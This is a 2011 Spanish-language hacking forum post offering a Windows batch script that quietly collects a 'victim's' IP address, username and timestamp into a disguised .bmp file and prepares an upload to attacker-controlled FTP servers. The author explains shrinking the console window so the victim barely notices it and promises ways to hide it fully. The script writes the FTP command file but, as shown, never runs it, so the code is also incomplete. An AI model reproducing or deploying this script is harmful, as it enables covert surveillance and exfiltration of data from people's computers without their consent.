Enviar ip de victima a FTP

Iniciado por david456, Junio 09, 2011, 06:13:51 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 09, 2011, 06:13:51 PM Ultima modificación: Junio 09, 2011, 08:10:11 PM por david456
Buenas hoy les traigo un peqeño codigo que cree hace bastante que permite enviar la ip de un pc a un servidor ftp (privada y publica) cuando esta tenga aceso a internet y ademas registra la fecha y hora del pc en que se esta ejecutando

Código: php

@echo off
:again
cls
ping www.google.com > nul
if %errorlevel%== 0 goto continue
if %errorlevel%== 1 goto again
:continue
cls
MODE CON: COLS=15 LINES=1
set fecha=%date:~0,2%-%date:~3,2%
set hora=%time:~0,2%.%time:~3,2%.%time:~6,2%
cls
echo IP victima>>"%temp%\%username%[%fecha%][%hora%].bmp"
echo.>>"%temp%\%username%[%fecha%][%hora%].bmp"
echo IP Privada>>"%temp%\%username%[%fecha%][%hora%].bmp"
For /f "tokens=14 skip=5" %%x IN ('ipconfig') Do set ip=%%x
echo %ip%
echo %ip%>>"%Temp%\%username%[%fecha%][%hora%].bmp"
cls
echo IP Publica>>"%Temp%\%username%[%fecha%][%hora%].bmp"
echo.>>"%temp%\%username%[%fecha%][%hora%].bmp"
cls
echo open SERVIDORFTP1>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo USERFTP1>>%Temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo PASSFTP1>>%Temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo literal stat>>"%Temp%\%username%[%fecha%][%hora%].bmp">>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
cls
echo disconnect>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
cls
echo open SERVIDORFTP2>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo USERFTP2>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo PASSFTP2>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
cls
echo bin>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo prompt>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
echo mput "%temp%\%username%[%fecha%][%hora%].bmp">>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
cls
echo quit>>%temp%\{E9C6805F-9C18-4D5D-9218-ABDE18AB9851}\core.sdk
cls
exit


NOTESE QUE:
***********

•Este batch esta ideado para que la ventana se haga lo mas pequeña posible mediante la siguiente linea:
MODE CON: COLS=15 LINES=1
Pero igualmente esta se seguira viendo aunque solo sera por 1 o 2 segundos (depende de la pc) y muy pequeña, casi imperceptible XD

Sobre el envio a ftp:

•Donde dice SERVIDORFTP1 debe reemplazarse por la direccion del servidor ftp al que se quiere hacer "literal stat", pero no todos los servidores permiten esta solicitud por lo tanto recomiendo que se registren y usen el ftp de este sitio -->
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
•Donde dice USERFTP1 debe de reemplazarse por el usuario del servidor ftp que han elegido/usado
•Donde dice PASSFTP1 debe de reemplazarse por el password/contraseña que han elegido para su servidor FTP

•Donde dice SERVIDORFTP2 debe reemplazarse por la direccion de un servidor ftp que admita la subida de archivos .BMP / .TXT (en esta ocasion es .bmp pero puede ser .txt si lo desean, u otro formato que soporte el servidor {comprobar si lo soporta intentando subir un archivo manualmente desde linea de comando siguiendo los pasos del codigo batch}) porque si no es asi el archivo se subira vacio, es decir con un tamaño de 0 kb y cuando lo abran este estara vacio, es por esto que no pueden usar el mismo servidor que el que usaron en primer lugar, les recomiendo que se registren y usen el servidor ftp de este otro sitio --> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
•Donde dice USERFTP2 debe de reemplazarse por el usuario que han elegido para el segundo servidor ftp
•Donde dice PASSFTP2 debe de reemplazarse por el password/contraseña que han elegido para su segundo servidor FTP

Bueno eso es todo espero hayan entendido y si tienen cualquier duda no duden en preguntarme

PD: mas adelante (ahora no tengo ganas XD) explicare como ocultar la ventana de cmd de diversas maneras para el que no lo sepa todavia